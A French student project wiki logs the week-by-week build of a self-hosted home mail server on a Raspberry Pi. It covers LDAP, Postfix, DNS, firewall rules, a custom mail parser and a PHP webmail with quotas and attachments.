Wiki d'activités IMA - Contributions de l’utilisateur [fr]

Fichier:PFE Final TENEUR LIBAERT.pdf

2016-02-23T14:00:15Z

Tteneur : a téléversé une nouvelle version de « Fichier:PFE Final TENEUR LIBAERT.pdf » : Correction de quelques coquilles et ajout de quelques précisions.

Rapport Final de PFE pour le projet P9 Système d'hébergement domestique

Fichier:Readme-Intimail.pdf

2016-02-23T13:58:43Z

Tteneur : a téléversé une nouvelle version de « Fichier:Readme-Intimail.pdf »

Guide d'installation d'intiMail sur un système linux fraîchement installé.

P9 Système d'hébergement domestique

2016-02-23T13:55:52Z

Tteneur : /* Fichiers Rendus */

==Cahier des charges==
===Présentation générale du projet===
====Contexte====

Les gens font confiance à des organismes comme google pour gérer leurs courriels, voire pour les protéger. Il n'est pas évident que leur confiance soit bien placée. Ce projet doit permettre à tout utilisateur de créer quelques comptes de messagerie sur une système embarqué de type raspberry et permettre de conserver les données à la maison.

Le système doit être constitué à base de standards (base LDAP, serveur de messagerie connu et maintenu, client de messagerie idem). L'interface d'administration doit être elle aussi très simple d'utilisation.

Un effort particulier doit être porté sur l'alimentation du système embarqué. L'idéal serait un mode de veille lorsqu'aucun paquet TCP/IP n'est adressé à la machine. Il est aussi demandé de mettre au point une alimentation à base d'énergie renouvelable (e.g. panneau solaire) permettant d'alimenter totalement ou partiellement le système. Enfin pour permettre de se passer de la box grande consommatrice d'énergie, le système embarqué doit pouvoir en reprendre les fonctionnalités principale (connexion avec le DSLAM, redirection des ports UDP/TCP, ...).

====Objectif du projet====

L'objectif est de réaliser un système embarqué avec une alimentation autonome pour héberger une messagerie électronique domestique. Par domestique, il faut comprendre pour une dizaine de boites aux lettres. En outre, le système devra pouvoir être alimenté par un panneau solaire ou, le cas échéant, prendre relai sur le secteur lorsque l'alimentation fournie par le soleil n'est plus suffisante.

====Description du projet====
====Choix techniques : matériel et logiciel====
Matériel obtenu à ce jour :
* 1 Raspberry Pi 2 [obtenue le 07/10/2015]
* 1 Carte µSD 8 GB [obtenue le 07/10/2015]
* 1 Cable USB/µUSB [obtenu le 07/10/2015]
* 1 Câble RJ45 [obtenu le 07/10/2015]

==Suivi de l'avancement du Projet==
===Semaine 1 (21/09/2015)===

Notre but étant la réalisation d'une messagerie électronique domestique capable de gérer une dizaine de boites aux lettres, nous nous orientons dans un premier temps sur les points suivants que nous allons éclaircir afin d'en tirer un cahier des charges.

Nous allons étudier et approfondir les points suivants :

* Installer une base LDAP, ou avoir plutôt avoir plusieurs comptes UNIX
* Installer un serveur de messagerie SMTP, et IMAP/POP
* Investiguer du côté de POSTFIX
* Étudier la taille d'un mail vide, et en moyenne, et voir combien ça fait par rapport au système
* Enquêter sur la forme des fichiers utilisateurs (généraliser les données)

Ce qui doit pouvoir être fait :
* Distinction administrateur / utilisateur
* Un administrateur doit pouvoir gérer les comptes de messagerie (addition/suppression/etc)
* Gestion des quotas/espace disque réservé par ex
* Choix du quota (par qui ? options ?)
* SECURISER : apache, mod_security, étudier l'utilisation d'un pare-feu logiciel ?

Prévision du Matériel :
* Raspberry Pi 2
* Alimentation RPi
* Carte SD (8Go)

Le module énergétique sera équipé des éléments suivants :
* 1 MPPT
* Convertisseur Numérique Analogique : MAX5250
* Potentiomètre : MCP4261
* Relai : R561D.56 NTE
* Résistances : Deux de 100Ω et deux de 10kΩ
* une LED
* 40 pins broches mâle/mâle (Digikey Parts : A26509-40-ND), découpé par la suite en 8-8-6-4
* Circuit d'alimentation autonome : cellule photovoltaique
* Circuit d'alimentation autonome : batterie (avec port micro-USB et port USB)

===Semaine 2 (28/09/2015)===

Dans un premier temps l'idée est de développer le système principal avec les fonctionnalités. Autrement dit les différents packages et fonctionnalités installées sur la raspberry ainsi que l'interface utilisateur sur le site web. Dans cette partie nous listerons les différentes fonctionnalités que nous aimerions implémenter.

☐ Serveur SMTP (communications entre serveurs mails SMPT) et serveur IMAP/POP3 (postier)
*Postfix pour SMTP
*Dovecot, Courier ou Cyrus pour IMAP/POP3
*Implémentation de protocoles plus complexes et offrant notamment des fonctionnalités de chiffrement (SMTPS / ESMTP / SSL / HTTPS / Certificat)
*LMTP

☐ Gestion particulière des gros mails et notamment de leurs pièces jointes
*Bigfile pour un stockage en ligne
*Décodage base 64 des pièces jointes ? (difficulté++)

☐ Gestion des utilisateurs
*Plusieurs comptes, en utilisant LDAP
*La possibilité de s'identifier en tant qu'administrateur

☐ Listes de diffusion

☐ Comptes mail temporaires (10 minutes mail like)

☐ Antivirus & Spam
*ClamAV ou SpamAssassin ou autres : lourd.
*iptables dans un premier temps.
*Antispam maison, gestion du contenu, marquage de spam par l'utilisateur, "boites intelligentes" de spams.

☐ Les noms de domaines sont peut être nécessaires dès le départ pour tester le fonctionnement des fonctionnalités (telnet qui dit nope ?)
*Record A
*Record MX

☐ Sauvegarde automatique périodique de la Raspberry Pi (pendant le développement, pour éviter de perdre les données)

Il faudra aussi prêter attention aux fonctionnalités disponibles sur l'interface et ne pas laisser des fonctionnalités fantômes issues d'un template générique que l'on a pu trouver sur l'Internet.

===Semaine 3 (05/10/2015)===
Nous avons précisé les éléments constituants l'interface web :
* Gestion des comptes (création, modification, suppression d'utilisateurs...)
* Gestion des listes de diffusions
* Gestion des quotas
* Affichage du courrier
* Gestion de l'antivirus

===Semaine 4 (12/10/2015)===
Nous avons mis en place un github pour suivre le développement : [https://github.com/biboon/pfe GitHub].

Nous commençons à visualiser la structure de notre serveur mail. Dans un premier temps nous constituons notre base de données. Finalement nous utiliserons bien LDAP, qui semble relativement simple à utiliser contrairement à notre première impression.

Nous avons utilisé [https://wiki.gandi.net/fr/hosting/using-linux/tutorials/debian/mail-server-ldap un tutoriel de Gandi] pour mettre en place la base de notre annuaire. Nous utiliserons les schemas disponibles dans le paquet courier-ldap. Nous avons écrit un script en perl permettant d'installer ce schema facilement, nous évitant d'avoir à réinstaller le paquet complet pour récupérer un unique fichier.

Il est important maintenant de changer les règles d'accès à la base de données. En effet la base de données est disponible pour n'importe qui, on peut y entrer avec la commande :
ldapsearch -c -h localhost -b dc=domain,dc=tld -x
Nous avons ici aussi écrit un script permettant de le faire automatiquement. A ce stade il est nécessaire de s'identifier en tant qu'administrateur pour voir l'arbre :
ldapsearch -c -h localhost -b dc=domain,dc=tld -D "cn=admin, dc=domain,dc=tld" -W

On peut dorénavant développer la structure de notre directory. Nous avons choisi de reprendre la base du tutoriel de Gandi et d'ajouter une entité mail qui regroupera tout les utilisateurs du serveur mail. Nous avons donc écrit un fichier <code>.ldif</code> décrivant cette structure et l'avons ajoutée avec la commande :
ldapadd -D "cn=admin,dc=domain,dc=tld" -W -h localhost -f ldif/mail_tree.ldif
On peut vérifier que la structure a bien été ajoutée à notre arbre avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -h localhost -b "dc=domain,dc=tld"

Maintenant, on peut ajouter nos utilisateurs à la base de données. Ici il est d'autant plus intéressant d'automatiser cette manipulation. Le principe est d'écrire un fichier <code>.ldif</code> et de l'ajouter de la même manière que précedemment avec <code>ldapadd</code>. Nous nous sommes inspirés ici encore du tutoriel de Gandi tout en l'adaptant. Le script perl <code>add_user.pl</code> simplifie grandement l'ajout d'un utilisateur. On pourra par la suite le modifier pour l'utiliser directement avec du code php.
On peut vérifier que l'utilisateur a bien été ajouté avec la commande habituelle <code>ldapsearch</code> et même tester l'identification avec :
ldapwhoami -vvv -h localhost -D "cn=username,dc=mail,dc=domain,dc=tld" -x -W
Si la commande renvoie <code>Result: Success (0)</code> alors l'identification a fonctionné.

La commande <code>ldapsearch</code> permet aussi de filtrer les recherches dans la base. Par exemple, avec notre configuration on peut afficher les utilisateurs avec la commande :
ldapsearch -D "cn=admin,dc=domain,dc=tld" -W -b "dc=mail,dc=domain,dc=tld" "(&(objectClass=CourierMailAccount))"
On peut aussi indiquer quels champs à afficher en les indiquant à la fin de cette commande.

===Semaine 5 (19/10/2015)===
==== DNS et SSL ====
Nous avons obtenu un nom de domaine auprès de Gandi pour notre projet. Le site est accessible à l'adresse : [https://intimail.pw intimail.pw]

nous avons configuré un serveur DNS et la certification SSL sur notre raspberry pi. Pour la démarche je vous renvoie à notre [http://projets-ima.plil.net/mediawiki/index.php?title=PRA2015_-_Configuration_des_commutateurs#Semaine_4 wiki] de TP de Protocoles Réseaux Avancés. La méthode est identique.

De la même manière que dans le TP de PRA, nous voulions implémenter DNSSEC. Cependant arrivé à la dernière étape, nous nous sommes rendu compte que Gandi ne propose pas cette fonctionnalité pour les .pw. Dans l'éventualité où les DNSSEC seraient implémentés au cours de notre projet, nous pourrons activer cette fonctionnalité rapidement.

La différence réside dans le fait que pour un serveur mail il faut un enregistrement de type MX. Dans le fichier de configuration des enregistrements de bind, nous avons ajouté les lignes :
@ IN MX 10 mail.intimail.pw.
mail IN A 193.48.57.171

De plus, un serveur mail doit pouvoir faire les résolutions inverses. En effet certains serveurs mail sont configurés pour rejeter ou retarder la livraison de mails provenant de serveurs dont la résolution inverse n'est pas effectuée. L'enregistrement PTR devient alors :
171 IN PTR mail.intimail.pw.

A ce stade, le serveur DNS devrait être correctement configuré et le SSL fonctionnel.

==== LDAP ====
Pour notre annuaire LDAP, nous avons utilisé les schémas proposés dans le package courier-ldap. Ces fichiers particuliers permettent à ldap de structurer sa base de données. Après différents essais et discussion, nous avons retenu la structure suivante :

[[Fichier:Pfe1516_09-ldap_directory.PNG|600px|thumb|center|LDAP directory structure]]

Nous avons regroupé la totalité de nos entrées sous une entité commune mail, celle ci se divisant ensuite en deux groupes people et groups. Le dc people regroupe les informations des utilisateurs, que l'on détaillera plus tard. Le dc groups permettra quant à lui regroupera les différentes listes de diffusion. Il contient aussi le groupe particulier des administrateurs qui permettra de donner des droits privilégiés à certains utilisateurs.

Pour ce qui est des informations des utilisateurs, voici un exemple de fichier de configuration pour l'utilisateur Jean Valjean :
dn: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw
uid: jvaljean
mail: jvaljean@intimail.pw
sn: Valjean
givenName: Jean
displayName: Jean Valjean
mailbox: intimail.pw/jvaljean/
homeDirectory: /home/vmail/
objectClass: top
objectClass: inetOrgPerson
objectClass: CourierMailAccount
userPassword: {SSHA}gCbVPaSGUaqjrq0mTQY77sOH4Xcq59Fg

Ces différentes informations ne sont pas définitives : certains champs peuvent peut être être retirés (comme le champ homeDirectory qui pour l'instant est commun et identique à tout les utilisateurs).

==== Web ====

Nous avons cherché un template léger, simple, mais néanmoins fonctionnel et agréable pour notre interface web. L'idée est, plutôt que de prendre un webmail classique dont nous n'utiliserions que 25 à 50% des capacités, de réaliser un webmail qui répond à toutes les exigences du cahier des charges et implémentant uniquement le nécessaire.
Il s'est avéré après recherches que l'une des meilleures solutions était de partir sur une interface codée en PHP (ce dernier implémente une API dédiée à LDAP), agrémentée de Bootstrap pour le JS/CSS.
Notre choix s'est finalement porté sur le template Lumino, que l'on peut [http://medialoot.com/preview/frame/lumino.html essayer par ici].

Après divers test, il s'avère qu'une page de cette interface met en moyenne pour charger totalement :
* 2,10s sur une connexion mobile 3G moyenne (4MB/s)
* 1,90s sur une connexion 4G moyenne (15MB/s)
* 2,80s sur une connexion DSL moyenne (2MB/s)
* 1,90s sur une connexion Wifi (30MB/s)
* 1,70s sur une connexion THD (100MB/s)
Résultats qui semble apporter bon compris poids/qualité de l'interface.

Nous avons alors déployé cette interface, dans un dossier /var/www/webmail/, puis ajouté le VirtualHost correspondant à notre site dans la configuration apache
Config à venir, quelqu'un a éteint tutur06, notre raspberry est donc off :(

===Semaine 6 (26/10/2015)===
==== Firewall ====
Etant donné que nous avons subi plusieurs tentatives de connexion SSH frauduleuses sur notre serveur, nous avons décidé de mettre en place un semblant de sécurité sur ce dernier. Nous avons donc écrit un petit script iptables simples pour filtrer les entrées. Celui ci se contente de bloquer tout les paquets entrant et de laisser passer les paquets par les ports ou nous avions vraiment besoin (ici SSH, HTTP, HTTPS, DNS, NTP, SMTP, POP3 et IMAP).
Après discussion, nous avons resserré davantage nos règles. Désormais le SSH n'est autorisé que pour des adresses ip spécifiées dans un fichier de liste blanche.

Nous avons aussi repéré dans le fichier /var/loh/auth.log plusieurs tentatives de connexions. Dans un premier temps nous avions cru à un problème de configuration de notre structure. Après avoir vérifié dans le log /var/log/syslog nous nous sommes aperçu qu'il s'agissait de connexions depuis des ip extérieures qui nous sont inconnues. Etant donné le nombre d'essais nous pensons que c'était une tentative d'intrusion sur le serveur SMTP par bruteforce. Comme première approche de contre-mesure nous avons pris le parti de constituer une liste noire. En effet ici nous n'avons pas le choix de laisser le port 25 (SMTP) ouvert. Pour cela nous avons utilisé les commandes :
cat /vat/log/syslog | grep SASL\ LOGIN\ authentication\ failed # Pour lister les messages de connexion échouées
sed -ne 's/.*\[$[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}$\].*/\1/p' # Pour n'afficher que les ip
*file* | sort | uniq # Pour classer et éliminer les doublons

On peut ensuite vérifier que les ip listées sont bien inconnues. Nous avons ainsi constitué une liste noire de 23 adresses ip.

==== Postfix ====
Nous avons installé l'agent de transfert de mail Postfix (<code>apt-get install postfix postfix-ldap</code>) sur la raspberry et configuré celui ci en accord avec notre base de données LDAP. Après un test d'envoi via telnet :
telnet ex 25
Trying xxx.xxx.xxx.xxx...
Connected to intimail.pw.
Escape character is '^]'.
220 mail.intimail.pw
ehlo intimail.pw
250-mail.intimail.pw
250-PIPELINING
250-SIZE 10240000
250-VRFY
250-ETRN
250-ENHANCEDSTATUSCODES
250-8BITMIME
250 DSN
MAIL FROM:toto(arobase)titi.com
250 2.1.0 Ok
RCPT TO:jvaljean(arobase)intimail.pw
250 2.1.5 Ok
DATA
354 End data with <CR><LF>.<CR><LF>
Subject: Premier Test
Here is my test
.
250 2.0.0 Ok: queued as 0EDFC21428
quit
221 2.0.0 Bye
Connection closed by foreign host.

Il est maintenant intéressant de tester notre DNS avec un outil en ligne. Nous avons ici utilisé l'excellent [http://www.dnsstuff.com dnsstuff] pour cela. C'est grâce à ce dernier que nous avons pu corriger les erreurs de notre serveur mail, à savoir :
*SMTP Greeting : Il permet de faire en sorte que le serveur mail est reconnu par les autres serveurs. Cela évite que certains serveurs ne refusent les mails provenant d'intimail.pw.
*Acceptance of abuse/postmaster : Les serveurs mails doivent avoir deux adresses abuse@... et postmaster@... . Nous avons donc créé ces deux boîtes mail pour répondre à ces conditions

==== Cyrus SASL ====

Nous avons implémenté l'authentification sur le serveur SMTP en SASL avec Cyrus. Après configuration, on peut maintenant envoyer des mail depuis notre serveur sur un serveur extérieur tel que gmail.

==== LDAP ====

Nous avons créé quelques utilisateurs LDAP pour peupler notre répertoire, contenant diverses informations utiles, afin de pouvoir commencer à implémenter une API d'authentification et réaliser divers essais sur l'interface web. Nous avons aussi ajouté un champ quota dans les informations des utilisateurs. A première vue ce champ pourra être utilisé avec le serveur IMAP et POP3. Cependant, afin d'éviter d'installer des services supplémentaires, nous choisissons de nous orienter dans une autre direction. Postfix nous permet à l'heure actuelle d'envoyer et recevoir des mails avec nos utilisateurs virtuels, et stocke chaque mail dans un fichier sur le système. L'interface web peut donc, sans Dovecot ou serveurs IMAP/POP3, parser par elle-même les mails reçus et préparer un envoi. Il nous faut, en prenant cette voie, réfléchir à l'implémentation des quotas, non gérés par PostFix. L'idée serait de lancer un script quand Postfix reçoit un mail, avant de le stocker sur le système, et de vérifier que la taille de ce mail + de ceux déjà reçu/envoyés par avant ne dépasse pas le quota attribué à un utilisateur, et rejeter le mail à l'expéditeur si on va dépasser alors le quota.

==== Web ====

Nous avons modifié le template de site web en accord avec nos objectifs. L'utilisateur doit d'abord se connecter avec ses identifiants LDAP (uid et mot de passe correspondant à son unique Distinguished Name (DN: cn=jvaljean,dc=people,dc=mail,dc=intimail,dc=pw). Une fois connecté, il tombe sur une interface que l'on pourrait appeler une "vue globale", réunissant les informations principales : le nombre de nouveaux mails, l'utilisation actuelle de son quota sur le disque, les quelques derniers mails reçus, et un calendrier afin de se repérer simplement niveau date.
Sur le côté, il est possible d'aller voir plus en détail l'inbox où se trouvent tous les mails reçus, ou encore aller voir les messages envoyés, et supprimer les courriels dans la poubelle. Si l'utilisateur est administrateur, il a aussi accès à un onglet "Manage" d'où il pourra prendre fonction de ses pleins pouvoirs. Cette dernière fonctionnalité n'étant pas encore implémentée, tout utilisateur voit pour l'instant cet onglet.

Toute la journée du mardi le code web a été réaménagé et modulé. Nous réfléchissons désormais au stockage et à la récupération de l'état instantané du quota mail (stocker cette valeur dans un fichier, ou en fait un attribut supplémentaire d'un utilisateur LDAP, où est d'ailleurs déjà stocké son quota max). L'idée est de ne pas trop solliciter le système et d'incrémenter ou décrémenter une variable à chaque réception/envoi de mail plutôt que recalculer entièrement la taille du dossier où sont les mails. On pourra en outre envisager de mettre en place une tâche périodique (via CRON) qui vérifiera en heures creuses que la taille du dossier mail est bien égale au quota en variable dans le système.

Par la suite il a été convenu de supprimer Apache et de le remplacer par le serveur web Lighttpd, plus léger et plus performant. Pour la configuration, on rajoute simplement un hôte au fichier /etc/lighttpd/lighttpd.conf auquel on fournit notamment le chemin d'accès aux fichiers du site, ou encore les clés pour SSL. Nous avons alors réinstallé PHP et nous l'avons reconfiguré et activé pour Lighttpd. Enfin, l'activation du mod_rewrite et la mise en place de règles différentes de celles d'Apache (qui font la même chose mais à la sauce Lighttpd) nous permettent de conclure cette migration en environ 25-30min (!).
Le mod_rewrite, un peu gadget nous l'avouons, permet chez nous de résoudre une URL de type www.domaine.com/page.php en écrivant simplement www.domaine.com/page. On atteint donc la page de connexion de notre webmail par [https://www.intimail.pw/login https://www.intimail.pw/login].
Nous avons en outre pu préciser la suite de notre projet. L'idée est d'avoir 2 ports sur lequel Postfix écoute (disons *:25 et localhost:10025). A réception d'un email sur *:25, postfix est configuré pour lancer un script que nous réalisons. Ce script vérifie le quota de l'utilisateur, si le mail reçu ne le dépasse pas il transfère alors le mail à localhost:10025 qui l'accepte et écrit le mail sur le disque de manière normale. Sinon, il renvoie un code d'erreur et le mail n'est pas accepté. De plus, le script mettra à jour un index dans un fichier propre à chaque utilisateur que le webmail lira. En somme, l'utilisation de fichiers quota et index évite à l'interface web de vérifier entièrement les dossiers et sous-dossiers mail à chaque actualisation de la page, ce qui créerait une charge énorme pour la Pi. On s'abstient en plus d'installer Dotecove/Un serveur IMAP/Un serveur POP grâce à notre webmail et nos scripts qui gèrent tout et uniquement ce dont nous avons besoin.
Notre architecture s'oriente donc sur les schémas suivants :

[[Fichier:Pfe1516_09-classicmail.PNG|600px|thumb|center|A classical mail server infrastructure]]
[[Fichier:Pfe1516_09-ourmail.PNG|600px|thumb|center|Our light mail server infrastructure]]

==== Scripting ====

Nous avons écrit un script perl pour envoyer des mails de manière automatique. Précisons que nous avons dû installer <code>libswitch-perl</code> pour pouvoir l'utiliser. Ce package devra être ajouté dans les dépendances lors de la constitution du fichier d'installation de notre outil.

===Semaine 7 (02/11/2015) - Architecture du système de fichiers ===

[[Fichier:Pfe1516_09-archi.PNG|600px|thumb|center|File system architecture]]

Notre système s'articule autour de 2 chemins distincts. A droite en rouge, l'architecture classique par défaut de postfix. Les mails reçus sont enregistrés par défaut dans un dossier par utilisateur et par domaine, dans le dossier new. A gauche notre architecture greffée, dans un sous dossier différent, par utilisateur et par domaine. Dans ces sous-dossiers, on distingue alors 2 dossiers et 1 fichier.
* Le fichier contient la valeur actuelle du quota de l'utilisateur. On préfère cette méthode plutôt que de faire calculer l'espace disque disponible dans un dossier par le système à chaque fois. On fera tourner un script, de nuit, périodiquement, pour vérifier que le quota correspond bel et bien à la valeur dans le fichier, pour éviter d'incrémenter/décrémenter une erreur.
* Un dossier mail, dans lequel sont stockés les mails envoyés
* Un dossier json, dans lequel sont stockés les conteneurs json, qui contiennent les en-têtes des mails envoyés, reçus, spams et poubelles. On accède donc à toutes les infos utiles au webmail en lisant ces json, plutôt que de lire à chaque fois tous les mails, ce qui serait extrêmement lourd et lent.

===Semaine 8 (09/11/2015) - Postfix et filtrage===
Nous avons établi une première version de notre script de traitement des mails arrivant sur le serveur. Nous nous sommes inspirés pour cela de la configuration proposée dans le [http://www.postfix.org/FILTER_README.html manuel] de Postfix. La configuration se fait via le fichier <code>master.cf</code>. Ce fichier permet de configurer tout les processus utilisés par Postfix pour fonctionner. Dans notre cas, il nous permet de déclarer un service de filtrage et d'indiquer au démon qui récupère les mails entrants (smtpd) de les transférer à ce service via un programme pipe. La configuration se fait de la manière suivante :

# ==========================================================================
# service type private unpriv chroot wakeup maxproc command + args
# (yes) (yes) (yes) (never) (100)
# ==========================================================================
smtp inet n - - - - smtpd
-o content_filter=filter
filter unix - n n - 5 pipe
flags=Rq user=vmail null_sender=
argv=/path/to/script $queue_id $size $sender $recipient

Nous avons décidé de suivre la même structure que dans le manuel de Postfix. C'est à dire que postfix fait appel à un script de filtrage principal, qui va lui même faire appel à d'autres scripts répondant à des besoins plus spécifiques. Pour l'instant, le script va parser certaines informations des mails entrant dans des fichier .json, qui servent de base de données. En voici un exemple :
[
{
"from": "michel.drucker@gmail.com",
"subject": "Vivement dimanche",
"timestamp": "2015-11-8 19:59:53",
"unixtimestamp": "1447012793",
"queueid": "48FE03FA87",
"filepath": "???",
"size": "1676",
"status": "0",
"pj": "0",
"id": "0",
"to": "jbond@intimail.pw"
}
]
Il serait également intéressant d'ajouter un champ permettant d'indiquer le chemin du fichier contenant le mail. Cependant au moment de l'exécution, même si nous avons accès au contenu du fichier, il est à priori impossible de connaître le nom définitif du fichier (il y a une part d'aléatoire). Ils serviront à l'affichage des mails dans les boîtes de réception dans le webmail. On pourra par la suite ajouter d'autres scripts permettant par exemple de vérifier la nature du message ou encore son contenu (Antivirus / Antispam / Pièces jointes).

Il est intéressant également de pointer ici que le fichier de configuration permet de préciser l'utilisateur qui va exécuter le script de filtrage. Ici nous avons mis <code>user=vmail</code>. Le script de filtrage s'exécutera donc en tant que vmail. Or pour l'interface, il faut qu'apache puisse accéder aux fichiers écrits par des processus de vmail. Pour les fichiers .json, écrits par le script de filtrage décrit plus haut, la solution du relativement simple. Il a suffit d'ajouter quelques commandes chmod pour autoriser la lecture et éventuellement l'écriture au groupe. Nous avons ensuite ajouté www-data au groupe vmail.

Quant aux fichiers contenant les mails, ceux ci sont écrits par postfix, et nous n'avons pour l'instant pas trouvé le moyen d'autoriser l'accès à ces fichiers par www-data. Ce problème, ainsi que la difficulté à récupérer le nom du fichier (décrit plus haut), nous pousse à nous demander si le délivrement des mails ne devrait pas être géré par un programme de notre confection, plutôt que le programme sendmail de postfix. En théorie, cette méthode répond parfaitement aux deux problèmes mais sendmail propose certainement une gestion plus aboutie que nous ne saurons reproduire dans un temps limité.

===Semaine 9 (16/11/2015)===
===Semaine 10 (23/11/2015)===
===Semaine 11 (30/11/2015)===

Nous avons travaillé sur le parser de mails et tentons d'implémenter notre architecture de fichiers.

D'autre part, nous avons travaillé l'interface web. Le contenu des tables affichant les en-tête des mails étant généré dynamiquement en fonction du fichier .json, il est impossible d'ajouter des balises <a href> pour rendre ces en-têtes cliquables pour afficher le contenu d'un mail.

La solution retenue et implémentée est d'utiliser un événement JavaScript. Pour une table avec un ''id'' table, on récupère l'en-tête cliquée à l'aide de la fonction JavaScript suivante :
$('#table').on('click-row.bs.table', function (e, row, $element) {
console.log(row, $element);
alert("L'utilisateur d'intimail a cliqué sur "+row);
});

On peut donc récupérer l'en-tête du fichier, plus spécifiquement le champ contenant le chemin vers le fichier mail brut. On pourra alors envoyer ce chemin dans une variable à l'aide d'une requête POST lancée dans la fonction ci-dessus avec AJAX, et être emmené vers une page qui traitera et affichera à l'utilisateur ce fichier mail brut.

===Semaine 12 (07/12/2015)===
==== Parseur pour les mails entrants ====
Comme nous l'avons dit à la semaine , nous avions rencontré un problème lors de la réception des mails. Pour resituer le problème : lors de la réception d'un mail, nous avons créé un hook pour postfix, qui s'exécute lors de la réception d'un email. La difficulté étant qu'au moment de cette exécution, les fichiers contenant les mails ne sont pas écrits dans le système de fichier, rendant impossible la récupération des noms de fichier. De plus, ces fichiers comportent les permissions 600 pour l'utilisateur et le groupe vmail:vmail.

La solution que nous proposons est de détacher le processus de parsing au moment de l'appel du script. De cette manière, le mail peut être délivré correctement et passe quand même dans le script de parsing, nous permettant ainsi de récupérer les mails et les informations critiques. On peut même en profiter pour appliquer les droits dont nous avons besoin. A priori, il suffirait juste d'autoriser le groupe vmail en lecture et d'ajouter www-data à ce groupe pour pouvoir afficher le contenu des mails dans l'interface Web. Résumons schématiquement le processus :
Un mail arrive
Le hook de postfix est exécuté
Le mail est envoyé via Sendmail --------------------------------------------------------------> Le mail est en attente de délivrement
Le script de parsing est lancé |
Le script vérifie dans les dossiers la présence du nouveau mail |
et réessaye un certain nombre de fois tant que tout les destinataires ne sont pas traités |
| v
| Le mail est délivré et existe dans le système de fichier
v |
Le script a trouvé le fichier et le traite <----------------------------------------------------
Fin

Nous avons aussi un peu réduit le contenu des éléments json en retirant le champ filepath. Les fichiers mails sont déplacés dans un dossier et renommés suivant le modèle <code>$unixtimestamp.$queueid</code>. Si nous rencontrons des collisions de noms (ce qui devrait théoriquement ne pas arriver) nous garderons les noms de fichier standard de postfix et restaurerons le champ <code>filepath</code>.

====Interface Web====
L'interface web progresse, et la page d'accueil est désormais totalement terminée et dynamique. Comme on peut le voir sur l'image ci-dessous, la nombre de mails dans la boite de réception, dans la poubelle, et le quota sont retrouvés et calculés dynamiquement, et ce en chargeant simplement les fichiers .json d'en-tête que nous avons crée, ce qui évite au système des calculs lourds. En outre le bouton "Write an email", présent dans la barre de navigation en haut mais aussi en gros sur la page d'accueil permet d'ouvrir une fenêtre pour écrire un email. L'envoi fonctionne parfaitement sur le réseau interne de l'école (nous devons encore passer la Raspberry sur un modem en dehors de Polytech pour éviter les foudres du CRI.), et ne devrait poser aucun problème une fois cette histoire de filtrage bypassée. Nous savons aussi envoyer des pièces-jointes, pour l'instant en dur pour la Proof of Concept, nous implémenterons bientot la possiblité à un utilisateur de téléverser son propre fichier (à taille raisonnable). Nous réflechissons au stockage de la PJ : serveur distant ?

[[Fichier:Pfe1516_09-homepage.PNG|1000px|thumb|center|Webmail Home Page]]

===Semaine 13 (14/12/2015)===

* Écriture du rapport intermédiaire
* Réalisation du support de soutenance

===Semaine 14 (04/01/2016)===

* Écriture d'un guide d'une bonne dizaine de pages détaillant l'installation du système intimail point par point
* Début de réécriture des scripts shell en perl pour des raisons d'optimisation

===Semaine 15 (11/01/2016)===

Poursuite de la longue réécriture du code shell en perl.

===Semaine 16 (18/01/2016)===

Côté web : Début du travail sur les pièces jointes, manque par contre l'affichage des PJ quand on ouvre un mail depuis l'interface. Manque la mise à 1 de l'attribut "pj" quand une pièce jointe est présente.

Côté serveur : La complexité du script permettant l'extraction des informations des mails devenant trop importante, nous avons pris le parti de réécrire le code dans un langage un peu plus simple : le Perl. Il permettra d'éviter l'utilisation de (nombreuses) variables d'environnement, tout en proposant des performances accrues.

===Semaine 17 (25/01/2016)===

Côté web :
* Poursuite du travail sur les pièces jointes : envoi OK, types supportés GIF, JPG, PNG, PDF, ZIP, vérification par extension MIME, taille max d'une PJ variabilisé.
* Travail sur l'en-tête des mails envoyés : résolu un bug qui disait qu'une pièce jointe était présente même quand on envoyait que du texte (type text/html quand pas de PJ au lieu de type data/multipart tout le temps dans le header mail)
* Gros travail sur les fichiers d'en-tête JSON : fonctions PHP de suppression d'un mail (fichier sur le disque et suppression dans l'en-tête JSON), fonctions de mise à jour du quota à l'envoi (réception fonctionnel aussi), fonctions d'ajout d'un mail (fichier sur le disque et en-tête JSON)
* Interface : gestion des différentes boites : les mails écrits se retrouvent dans "Envoyés", les mails reçus dans "Boite de réception", manque que le flag comme spam pour les mettre dans la boite à spam, mais la boite est déjà là en tout cas

Côté serveur : Implémentation de la gestion des quotas. Quand un mail arrive, chaque destinataire voit son quota contrôlé pour déterminer si oui ou non le mail peut être délivré. Comme nous l'avions dit précédemment, postfix gère le rebond des mails grâce au code de terminaison du script. Or nous à priori il va falloir proposer une solution maison pour pouvoir le faire. En effet, si un mail est refusé pour cause de quota plein, le mail reçu est tout bonnement supprimé sans notifier ni le destinataire, ni l'envoyeur.

===Semaine 18 (01/02/2016)===

Côté web :
* Identification d'un administrateur ou simple utilisateur
* Début de création de la page de gestion des comptes : une page administrateur permettant de régler quelques variables (par ex: taille max des PJ, nom de domaine, création d'un compte...), et de sélectionner un utilisateur existant redirigeant vers...
* ... une page de gestion d'un compte particulier sélectionné au préalable, permettant de changer l'UID, le nom de la personne, le quota, le mot de passe, ou de supprimer le compte
* Configuration générale du webmail (variables nom de domaine, identification de l'administrateur LDAP, port LDAP...) via un fichier config.php à part contenant ces valeurs.
* Création d'une fonction permettant de modifier un paramètre de la configuration par lecture/modification/réécriture du fichier de config.
* Après une journée de prise de tête : configuration via un conteneur JSON, plus simple à manipuler pour en modifier les paramètres depuis l'interface. Le fichier se nomme désormais config.inc. Un soin est apporté à l'interdiction d'accès aux fichiers ".inc" : dans la barre d'adresse en accès au fichier le client reçoit une erreur 403, cela évite que n'importe qui puisse voir le contenu du fichier et les précieux identifiants du serveur LDAP... tout en laissant à l'utilisateur web www-data la lecture du fichier pour son usage.

Côté serveur :
Mise en place d'un système de récupération des pièces jointes. Pour cela nous utiliserons la commande munpack du paquet mpack. Cette commande permet de décomposer un fichier mail pour notamment en récupérer les pièces jointes. De plus, après test et concertation, nous nous sommes rendu compte qu'il serait intéressant d'utiliser cette même commande pour extraire les messages des mails, évitant ainsi un chargement assez long sur l'interface graphique.

===Semaine 19 (08/02/2016)===
Côté Web :
* Implémentation du back-end des fonctions de gestion d'un compte : changement UID, mot de passe, nom+prénom, quota, tout fonctionne.
